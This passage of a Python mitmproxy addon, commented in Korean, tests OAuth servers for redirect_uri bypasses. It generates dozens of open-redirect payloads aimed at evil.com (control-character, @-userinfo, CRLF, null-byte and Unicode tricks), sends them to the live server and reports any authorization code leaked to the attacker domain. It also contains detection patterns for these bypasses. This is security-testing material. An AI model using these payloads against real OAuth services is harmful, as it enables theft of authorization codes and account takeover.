parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://evil.com%2509%250A%2520@{parsed.netloc}{path_part}"
|
||
print(f"[redirect_uri_check] double encoded control chaos: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 18_5. 역순 제어 문자
|
||
def _mutate_pattern18_5(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://evil.com%20%0A%09@{parsed.netloc}{path_part}"
|
||
print(f"[redirect_uri_check] reverse control char chaos: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 18_6. 반복 제어 문자
|
||
def _mutate_pattern18_6(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://evil.com%09%09%09@{parsed.netloc}{path_part}"
|
||
print(f"[redirect_uri_check] repeated control char chaos: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 19. 서브도메인 혼동 우회 (하이픈 버전)
|
||
def _mutate_pattern19(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
# target.com → target-com.evil.com
|
||
host_with_hyphen = parsed.netloc.replace('.', '-').replace(':', '-')
|
||
mutated = f"https://{host_with_hyphen}.evil.com{path_part}"
|
||
print(f"[redirect_uri_check] subdomain confusion bypass: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 20. 세미콜론 userinfo 우회
|
||
def _mutate_pattern20(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://{parsed.netloc};evil.com{path_part}"
|
||
print(f"[redirect_uri_check] semicolon userinfo bypass: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 21. %09 - 탭 문자 우회
|
||
def _mutate_pattern21(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://evil.com%09@{parsed.netloc}{path_part}"
|
||
print(f"[redirect_uri_check] tab character bypass: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 22. %20 - 공백 문자 우회
|
||
def _mutate_pattern22(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://evil.com%20@{parsed.netloc}{path_part}"
|
||
print(f"[redirect_uri_check] space character bypass: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 23. %0c - 폼 피드 문자 우회
|
||
def _mutate_pattern23(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://evil.com%0c@{parsed.netloc}{path_part}"
|
||
print(f"[redirect_uri_check] form feed bypass: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 24. %0b - 수직 탭 문자 우회
|
||
def _mutate_pattern24(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://evil.com%0b@{parsed.netloc}{path_part}"
|
||
print(f"[redirect_uri_check] vertical tab bypass: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 25. %0a@ - 줄바꿈 문자 우회
|
||
def _mutate_pattern25(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://evil.com%0a@{parsed.netloc}{path_part}"
|
||
print(f"[redirect_uri_check] newline pattern: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 26. %0d@ - 캐리지 리턴 우회 (URL parser confusion)
|
||
def _mutate_pattern26(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://evil.com%0d@{parsed.netloc}{path_part}"
|
||
print(f"[redirect_uri_check] carriage return pattern: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 27. CRLF 인젝션 우회
|
||
def _mutate_pattern27(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
# %0D%0A = CRLF (Carriage Return + Line Feed) - HTTP 헤더 인젝션
|
||
mutated = f"https://evil.com%0D%0A@{parsed.netloc}{path_part}"
|
||
print(f"[redirect_uri_check] CRLF injection bypass: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 28. HTTP/HTTPS 대소문자 혼합 스키마 우회
|
||
def _mutate_pattern28(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"HtTpS://evil.com@{parsed.netloc}{path_part}"
|
||
print(f"[redirect_uri_check] mixed case scheme bypass: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 29. 점(.) 문자 우회 - 스키마와 호스트 사이에 점 삽입 (표준 위반 = 취약점)
|
||
def _mutate_pattern29(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https.://evil.com@{parsed.netloc}{path_part}"
|
||
print(f"[redirect_uri_check] scheme dot injection: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 30. 포트 인코딩 우회 - %40 = @
|
||
def _mutate_pattern30(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://{parsed.netloc}:%40evil.com{path_part}"
|
||
print(f"[redirect_uri_check] port encoded: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 31. 앰퍼샌드 인코딩 우회 - URL 파싱 혼동
|
||
def _mutate_pattern31(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://{parsed.netloc} &%40evil.com{path_part}"
|
||
print(f"[redirect_uri_check] ampersand encoded: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 32. 언더스코어 인코딩 우회 - 도메인 분리자로 오인
|
||
def _mutate_pattern32(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://{parsed.netloc}.%5F.evil.com{path_part}"
|
||
print(f"[redirect_uri_check] underscore encoded: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 33. 콤마 분리자 우회 - 일부 파서에서 분리자로 인식
|
||
def _mutate_pattern33(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://{parsed.netloc}.%2C.evil.com{path_part}"
|
||
print(f"[redirect_uri_check] comma separator: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 34. 스키마 없는 우회
|
||
def _mutate_pattern34(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"//evil.com{path_part}"
|
||
print(f"[redirect_uri_check] schemeless: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 35. 스키마 콜론 우회 - RFC 위반 파싱
|
||
def _mutate_pattern35(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"http:evil.com{path_part}"
|
||
print(f"[redirect_uri_check] schema colon: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 36. 널 바이트 prefix - 파싱 혼동
|
||
def _mutate_pattern36(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"%00https://evil.com{path_part}"
|
||
print(f"[redirect_uri_check] null prefix: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 37. 유니코드 공백 문자 - %E2%80%8B = zero-width space
|
||
def _mutate_pattern37(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://evil.com%E2%80%8B@{parsed.netloc}{path_part}"
|
||
print(f"[redirect_uri_check] unicode spaces: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 38. 대괄호 인코딩 우회
|
||
def _mutate_pattern38(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://{parsed.netloc}%5B%40evil.com{path_part}"
|
||
print(f"[redirect_uri_check] bracket encoded: {original} → {mutated}")
|
||
return mutated
|
||
|
||
'''aiohttp 세션 생성 (재사용)'''
|
||
async def _get_session(self):
|
||
if self.session is None:
|
||
timeout = aiohttp.ClientTimeout(total=10)
|
||
self.session = aiohttp.ClientSession(timeout=timeout)
|
||
return self.session
|
||
|
||
'''세션 정리'''
|
||
async def close_session(self):
|
||
if self.session:
|
||
await self.session.close()
|
||
self.session = None
|
||
|
||
""" 우회된 URL에 GET 요청을 보내고, 서버 응답 정보 반환 """
|
||
async def _send_request(self, url, headers=None):
|
||
|
||
# 레이트 리미팅 체크 추가
|
||
pattern_name = "request"
|
||
can_proceed = await redirect_limiter.wait_if_needed("request")
|
||
if not can_proceed:
|
||
return {'status': 429, 'location': '', 'headers': {}}
|
||
|
||
try:
|
||
session = await self._get_session() # 세션 준비
|
||
request_headers = headers or {} # 요청 헤더 설정 - headers가 주어지지 않았다면 빈 딕셔너리 사용
|
||
|
||
# 서버에 GET 요청 전송
|
||
async with session.get(url, allow_redirects=False, headers=request_headers) as response:
|
||
result = {
|
||
'status': response.status,
|
||
'location': response.headers.get("Location", ""),
|
||
'headers': dict(response.headers)
|
||
}
|
||
|
||
# 성공/실패 기록
|
||
if response.status in [200, 301, 302, 303, 307, 308]:
|
||
redirect_limiter.record_success()
|
||
else:
|
||
redirect_limiter.record_failure(f"HTTP {response.status}")
|
||
|
||
return result
|
||
|
||
except Exception as e:
|
||
redirect_limiter.record_failure(str(e))
|
||
print(f"[ERROR] 요청 실패 ({url}): {e}")
|
||
return {'status': 500, 'location': '', 'headers': {}}
|
||
|
||
""" redirect_uri가 기준 도메인에 속하는지 검증하고 우회 패턴 탐지 """
|
||
def _is_baseline_valid(self, redirect_uri: str, base_url: str) -> bool:
|
||
try:
|
||
base_parsed = urlparse(base_url)
|
||
base_host = base_parsed.hostname
|
||
|
||
if not base_host:
|
||
return False
|
||
|
||
print(f"[DEBUG] 검증 시작 - redirect_uri: {redirect_uri}, base_host: {base_host}")
|
||
|
||
# IDN 동형문자 체크
|
||
if "еvil.example" in redirect_uri: # е는 키릴 문자
|
||
print(f"[ALERT] IDN 동형문자 공격 패턴 탐지: {redirect_uri}")
|
||
print(f"[CRITICAL] IDN 동형문자 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# IPv6 주소 체크
|
||
if "[::1]" in redirect_uri or "[2001:db8" in redirect_uri:
|
||
print(f"[ALERT] IPv6 주소 우회 패턴 탐지: {redirect_uri}")
|
||
print(f"[CRITICAL] IPv6 주소 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# Fragment 체크
|
||
if "#@" in redirect_uri:
|
||
print(f"[ALERT] Fragment 우회 패턴 탐지: {redirect_uri}")
|
||
print(f"[CRITICAL] Fragment 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# %ff 바이트 체크
|
||
if "%ff" in redirect_uri.lower():
|
||
print(f"[ALERT] %ff 유니코드 바이트 우회 패턴 탐지: {redirect_uri}")
|
||
if "%ff@" in redirect_uri or "%ff." in redirect_uri:
|
||
print(f"[CRITICAL] %ff 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# 전각 문자 검증 (직접 + 인코딩 모두)
|
||
fullwidth_patterns = ["/", "\", "%EF%BC%8F", "%EF%BC%BC"]
|
||
for pattern in fullwidth_patterns:
|
||
if pattern in redirect_uri:
|
||
print(f"[ALERT] 전각 문자 우회 패턴 탐지 ({pattern}): {redirect_uri}")
|
||
print(f"[CRITICAL] 전각 문자 우회 공격 ({pattern}): {redirect_uri}")
|
||
return False
|
||
|
||
# 와일드카드 서브도메인 우회 탐지
|
||
if f"attacker.{base_host}" in redirect_uri:
|
||
print(f"[ALERT] 와일드카드 서브도메인 우회 탐지: {redirect_uri}")
|
||
print(f"[CRITICAL] 와일드카드 서브도메인 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# 서브도메인 혼동 우회 탐지 (하이픈 패턴)
|
||
hyphen_host = base_host.replace('.', '-').replace(':', '-')
|
||
if f"{hyphen_host}.evil.com" in redirect_uri:
|
||
print(f"[ALERT] 서브도메인 혼동 우회 탐지: {redirect_uri}")
|
||
print(f"[CRITICAL] 서브도메인 혼동 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# 대소문자 + IDN 조합 우회 탐지
|
||
if "ЕVIL.example" in redirect_uri: # Е는 키릴 문자 (대문자)
|
||
print(f"[ALERT] 대소문자+IDN 조합 우회 탐지: {redirect_uri}")
|
||
print(f"[CRITICAL] 대소문자+IDN 조합 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# 세미콜론 userinfo 탐지
|
||
if f"{base_host};evil.com" in redirect_uri:
|
||
print(f"[ALERT] 세미콜론 userinfo 우회 탐지: {redirect_uri}")
|
||
print(f"[CRITICAL] 세미콜론 userinfo 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# 제어 문자 우회 체크 (줄바꿈, 캐리지리턴, 탭, 수직탭, 폼피드, 공백)
|
||
control_chars = ["%0a", "%0d", "%09", "%0b", "%0c", "%20"]
|
||
for char in control_chars:
|
||
if f"{char}@" in redirect_uri:
|
||
print(f"[ALERT] 제어 문자 우회 패턴 탐지 ({char}): {redirect_uri}")
|
||
print(f"[CRITICAL] 제어 문자 우회 공격 ({char}): {redirect_uri}")
|
||
return False
|
||
|
||
# 포트 인코딩 탐지
|
||
if f"{base_host}:%40evil.com" in redirect_uri:
|
||
print(f"[ALERT] 포트 인코딩 우회 탐지: {redirect_uri}")
|
||
print(f"[CRITICAL] 포트 인코딩 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# 앰퍼샌드 인코딩 탐지
|
||
if " &%40evil.com" in redirect_uri:
|
||
print(f"[ALERT] 앰퍼샌드 인코딩 우회 탐지: {redirect_uri}")
|
||
print(f"[CRITICAL] 앰퍼샌드 인코딩 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# 언더스코어 인코딩 탐지
|
||
if f"{base_host}.%5F.evil.com" in redirect_uri:
|
||
print(f"[ALERT] 언더스코어 인코딩 우회 탐지: {redirect_uri}")
|
||
print(f"[CRITICAL] 언더스코어 인코딩 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# 콤마 분리자 탐지
|
||
if f"{base_host}.%2C.evil.com" in redirect_uri:
|
||
print(f"[ALERT] 콤마 분리자 우회 탐지: {redirect_uri}")
|
||
print(f"[CRITICAL] 콤마 분리자 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# 스키마 없는 우회 탐지
|
||
if redirect_uri.startswith("//evil.com"):
|
||
print(f"[ALERT] 스키마 없는 우회 탐지: {redirect_uri}")
|
||
print(f"[CRITICAL] 스키마 없는 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# 스키마 콜론 우회 탐지
|
||
if redirect_uri.startswith("http:evil.com"):
|
||
print(f"[ALERT] 스키마 콜론 우회 탐지: {redirect_uri}")
|
||
print(f"[CRITICAL] 스키마 콜론 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# 널 바이트 prefix 탐지
|
||
if redirect_uri.startswith("%00"):
|
||
print(f"[ALERT] 널 바이트 prefix 우회 탐지: {redirect_uri}")
|
||
print(f"[CRITICAL] 널 바이트 prefix 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# 유니코드 공백 문자 탐지
|
||
unicode_spaces = ["%E2%80%8B", "%E2%81%A0", "%C2%AD"]
|
||
for space in unicode_spaces:
|
||
if space in redirect_uri:
|
||
print(f"[ALERT] 유니코드 공백 문자 우회 탐지 ({space}): {redirect_uri}")
|
||
print(f"[CRITICAL] 유니코드 공백 문자 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# 대괄호 인코딩 탐지
|
||
if f"{base_host}%5B%40evil.com" in redirect_uri:
|
||
print(f"[ALERT] 대괄호 인코딩 우회 탐지: {redirect_uri}")
|
||
print(f"[CRITICAL] 대괄호 인코딩 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# CRLF 인젝션 체크
|
||
if "%0D%0A" in redirect_uri or "%0d%0a" in redirect_uri:
|
||
print(f"[ALERT] CRLF 인젝션 패턴 탐지: {redirect_uri}")
|
||
print(f"[CRITICAL] CRLF 인젝션 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# 대소문자 혼합 스키마 체크
|
||
if redirect_uri.startswith(("HtTpS://", "HtTp://", "hTtps://", "hTtp://")):
|
||
print(f"[ALERT] 대소문자 혼합 스키마 패턴 탐지: {redirect_uri}")
|
||
print(f"[CRITICAL] 스키마 케이스 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# 스키마 변조 체크
|
||
if "https.://" in redirect_uri:
|
||
print(f"[ALERT] 스키마 점 삽입 패턴 탐지: {redirect_uri}")
|
||
print(f"[CRITICAL] 스키마 점 삽입 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# 복합 인코딩 패턴 체크 (혼합 제어 문자)
|
||
if "%09%0A%20" in redirect_uri or "%0A%0D%09" in redirect_uri:
|
||
print(f"[ALERT] 복합 인코딩 패턴 탐지: {redirect_uri}")
|
||
print(f"[CRITICAL] 복합 인코딩 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# 복합 우회 패턴 체크 (@ + 이중슬래시 + 경로순회 조합)
|
||
if "@" in redirect_uri and "//" in redirect_uri and "../" in redirect_uri:
|
||
print(f"[ALERT] 복합 우회 패턴 탐지: {redirect_uri}")
|
||
print(f"[CRITICAL] 복합 우회 공격 (@ + // + ../): {redirect_uri}")
|
||
return False
|
||
|
||
# 경로 백슬래시 도메인 탐지
|
||
if f"{base_host}\\.evil.com" in redirect_uri:
|
||
print(f"[ALERT] 경로 백슬래시 도메인 우회 탐지: {redirect_uri}")
|
||
print(f"[CRITICAL] 경로 백슬래시 도메인 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# 경로 순회 패턴 체크
|
||
if not self._check_path_traversal_patterns(redirect_uri):
|
||
return False
|
||
|
||
# 쿼리 파라미터 우회 탐지 (question_mark 패턴)
|
||
if "?" in redirect_uri:
|
||
query_part = redirect_uri.split("?", 1)[1]
|
||
evil_indicators = ["evil.com", "attacker.com", "redirect=", "url=", "goto="]
|
||
for indicator in evil_indicators:
|
||
if indicator in query_part.lower():
|
||
print(f"[ALERT] 쿼리 파라미터 우회 탐지 ({indicator}): {redirect_uri}")
|
||
print(f"[CRITICAL] 쿼리 파라미터 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# @ 패턴 최우선 체크 (@ 앞의 도메인이 실제 목적지)
|
||
if "@" in redirect_uri:
|
||
# @ 앞의 부분이 실제 목적지 도메인
|
||
at_parts = redirect_uri.split('@')
|
||
if len(at_parts) >= 2:
|
||
before_at = at_parts[0]
|
||
if '//' in before_at:
|
||
potential_domain = before_at.split('//')[-1]
|
||
if '.' in potential_domain and potential_domain != base_host:
|
||
print(f"[CRITICAL] @ 우회 공격: {potential_domain}@{base_host}")
|
||
return False
|
||
|
||
# 백슬래시 우회 체크
|
||
if "\\" in redirect_uri:
|
||
print(f"[ALERT] 백슬래시 우회 패턴 탐지: {redirect_uri}")
|
||
print(f"[CRITICAL] 백슬래시 파싱 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# 이중 슬래시 체크 (스키마 제외)
|
||
uri_without_scheme = redirect_uri.replace("https://", "").replace("http://", "")
|
||
if "//" in uri_without_scheme:
|
||
print(f"[ALERT] 이중 슬래시 우회 패턴 탐지: {redirect_uri}")
|
||
print(f"[CRITICAL] 이중 슬래시 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# 물음표 우회 체크 - @ 패턴과 결합된 경우
|
||
if "?" in redirect_uri and "@" in redirect_uri:
|
||
print(f"[ALERT] 물음표+@ 우회 패턴 탐지: {redirect_uri}")
|
||
print(f"[CRITICAL] 물음표 우회 공격: {redirect_uri}")
|
||
return False
|
||
|
||
# 일반적인 도메인 검증 (@ 없는 경우)
|
||
if "@" not in redirect_uri:
|
||
redirect_parsed = urlparse(redirect_uri)
|
||
redirect_host = redirect_parsed.hostname
|
||
|
||
if not redirect_host:
|
||
return False
|
||
|
||
# 도메인 접미사 스푸핑 체크
|
||
if redirect_host.endswith(".evil.com"):
|
||
print(f"[ALERT] 도메인 접미사 스푸핑 탐지: {redirect_host}")
|
||
print(f"[CRITICAL] 도메인 접미사 우회 공격: {redirect_host}")
|
||
return False
|
||
|
||
# 정상적인 도메인 검증
|
||
is_valid = (redirect_host == base_host or redirect_host.endswith(f".{base_host}"))
|
||
return is_valid
|
||
|
||
# @ 패턴이 있는 경우, 추가 검증
|
||
# @ 뒤의 도메인 확인
|
||
at_parts = redirect_uri.split('@')
|
||
if len(at_parts) >= 2:
|
||
after_at = at_parts[-1] # 마지막 @ 뒤의 부분
|
||
# URL에서 호스트 부분만 추출
|
||
if '//' in after_at:
|
||
after_at = after_at.split('//')[0]
|
||
else:
|
||
after_at = after_at.split('/')[0] # 첫 번째 / 앞의 부분
|
||
|
||
after_at = after_at.split(':')[0] # 포트 제거
|
||
|
||
if after_at != base_host:
|
||
print(f"[CRITICAL] @ 패턴에서 잘못된 대상 도메인: {after_at} != {base_host}")
|
||
return False
|
||
|
||
return True
|
||
|
||
except Exception as e:
|
||
print(f"[ERROR] 도메인 검증 실패: {e}")
|
||
return False
|
||
|
||
""" 경로 순회 패턴 탐지 """
|
||
def _check_path_traversal_patterns(self, redirect_uri: str) -> bool:
|
||
|
||
path_traversal_patterns = [
|
||
"/../", # 기본 경로 순회
|
||
"/.././", # 혼합 슬래시
|
||
"/..;/", # 세미콜론 패턴
|
||
"%2e%2e%2f", # URL 인코딩된 ../
|
||
"%2e%2e/", # URL 인코딩된 .. + 일반 슬래시
|
||
"/%2e%2e/", # 슬래시 + 인코딩된 ../
|
||
"%252e%252e", # 이중 인코딩된 ..
|
||
"%c0%ae", # 오버롱 UTF-8
|
||
"\\..\\", # 백슬래시 패턴
|
||
"../", # 유니코드 점
|
||
"../%00", # 널 바이트 조합
|
||
"%00../", # 널 바이트 전치
|
||
]
|
||
|
||
for pattern in path_traversal_patterns:
|
||
if pattern in redirect_uri.lower():
|
||
print(f"[ALERT] 경로 순회 패턴 탐지 ({pattern}): {redirect_uri}")
|
||
print(f"[CRITICAL] 경로 순회 우회 공격 ({pattern}): {redirect_uri}")
|
||
return False
|
||
|
||
return True
|
||
|
||
""" Location 헤더에서 authorization code 추출 """
|
||
def _extract_code_from_location(self, location: str) -> str:
|
||
if not location:
|
||
return ""
|
||
|
||
try:
|
||
parsed = urlparse(location)
|
||
query = parse_qs(parsed.query)
|
||
return query.get('code', [''])[0]
|
||
except:
|
||
return ""
|
||
|
||
def _is_code_in_location(self, location: str) -> bool:
|
||
return self._extract_code_from_location(location) != ""
|
||
|
||
""" mitmproxy용 - 실제 OAuth 플로우 가로채서 분석 """
|
||
async def test(self, flow: http.HTTPFlow):
|
||
url = flow.request.pretty_url
|
||
parsed = urlparse(url)
|
||
query = parse_qs(parsed.query)
|
||
|
||
# location 헤더에 code가 없으면 스킵
|
||
location = flow.response.headers.get("Location", "")
|
||
if not self._is_code_in_location(location):
|
||
return
|
||
|
||
if not query or "redirect_uri" not in query:
|
||
return
|
||
|
||
original_redirect_uri = query["redirect_uri"][0]
|
||
|
||
redirect_limiter.reset_for_new_target()
|
||
|
||
print(f"[DEBUG] 원본 redirect_uri: {original_redirect_uri}")
|
||
|
||
print(f"[DEBUG] 총 패턴 수: {len(self.bypass_payloads)}")
|
||
print("[DEBUG] 패턴 목록:")
|
||
for i, payload in enumerate(self.bypass_payloads):
|
||
print(f" {i+1:2d}. {payload.name}")
|
||
print("-" * 50)
|
||
|
||
tested_count = 0 # 테스트된 패턴 카운터 추가
|
||
|
||
for payload in self.bypass_payloads:
|
||
try:
|
||
await self._test_bypass_pattern(
|
||
url, query, parsed, original_redirect_uri, payload, headers={}
|
||
)
|
||
except Exception as e:
|
||
print(f"[ERROR] 우회 패턴 테스트 실패 ({payload.name}): {e}")
|
||
continue
|
||
|
||
""" 개별 우회 패턴 테스트 """
|
||
async def _test_bypass_pattern(self, original_url, query, parsed_url, original_redirect_uri, payload, headers):
|
||
|
||
print(f"[SCAN] 우회 패턴 테스트: {payload.name}")
|
||
|
||
# 우회 URL 생성
|
||
bypassed_uri = payload.mutate(original_redirect_uri)
|
||
|
||
# 새로운 쿼리 파라미터 구성
|
||
modified_query = query.copy()
|
||
modified_query["redirect_uri"] = [bypassed_uri]
|
||
new_query_string = urlencode(modified_query, doseq=True)
|
||
test_url = urlunparse(parsed_url._replace(query=new_query_string))
|
||
|
||
# 요청 전송
|
||
response = await self._send_request(test_url, headers)
|
||
|
||
# 응답 분석
|
||
await self._analyze_response(original_url, test_url, bypassed_uri, response, payload)
|
||
|
||
""" 응답 분석 및 취약점 판단 """
|
||
async def _analyze_response(self, original_url, test_url, bypassed_uri, response, payload):
|
||
status = response['status']
|
||
location = response['location']
|
||
|
||
# 리다이렉트 응답이 아니면 스킵
|
||
if status not in [301, 302, 303, 307, 308]:
|
||
return False
|
||
|
||
# 베이스라인 검증
|
||
is_valid = self._is_baseline_valid(bypassed_uri, original_url)
|
||
|
||
if self._is_code_in_location(location) and not is_valid:
|
||
# 취약점 발견 시에만 로그
|
||
auth_code = self._extract_code_from_location(location)
|
||
print(f"[🎯 VULNERABILITY] {payload.name} 우회 성공!")
|
||
await self._report_vulnerability(original_url, test_url, bypassed_uri, location, auth_code, payload)
|
||
return True
|
||
|
||
return False
|
||
|
||
""" 취약점 보고서 생성 """
|
||
async def _report_vulnerability(self, original_url, test_url, bypassed_uri, location, auth_code, payload):
|
||
# payload가 문자열인지 객체인지 확인
|
||
if hasattr(payload, 'name'):
|
||
pattern_name = payload.name
|
||
pattern_description = payload.description
|
||
else:
|
||
pattern_name = str(payload)
|
||
pattern_description = "Unknown bypass pattern"
|
||
|
||
description = (
|
||
f"Redirect URI 우회 취약점 발견!\n\n"
|
||
f"-- 상세 정보 --:\n"
|
||
f"• 우회 패턴: {pattern_name}\n"
|
||
f"• 설명: {pattern_description}\n"
|
||
f"• 원본 URL: {original_url}\n"
|
||
f"• 우회된 redirect_uri: {bypassed_uri}\n"
|
||
f"• 테스트 URL: {test_url}\n"
|
||
f"• 리다이렉트 위치: {location}\n"
|
||
f"• 발급된 인가 코드: {auth_code[:10]}...\n\n"
|
||
)
|
||
|
||
report_vuln(
|
||
title="Redirect URI Bypass Vulnerability",
|
||
desc=description,
|
||
status="CRITICAL",
|
||
uri=test_url
|
||
)
|
||
|
||
print(f"[🎯 CRITICAL] Redirect URI 우회 취약점 발견 및 보고 완료!")
|
||
print(f"[INFO] 패턴: {pattern_name}, 우회 URI: {bypassed_uri}") |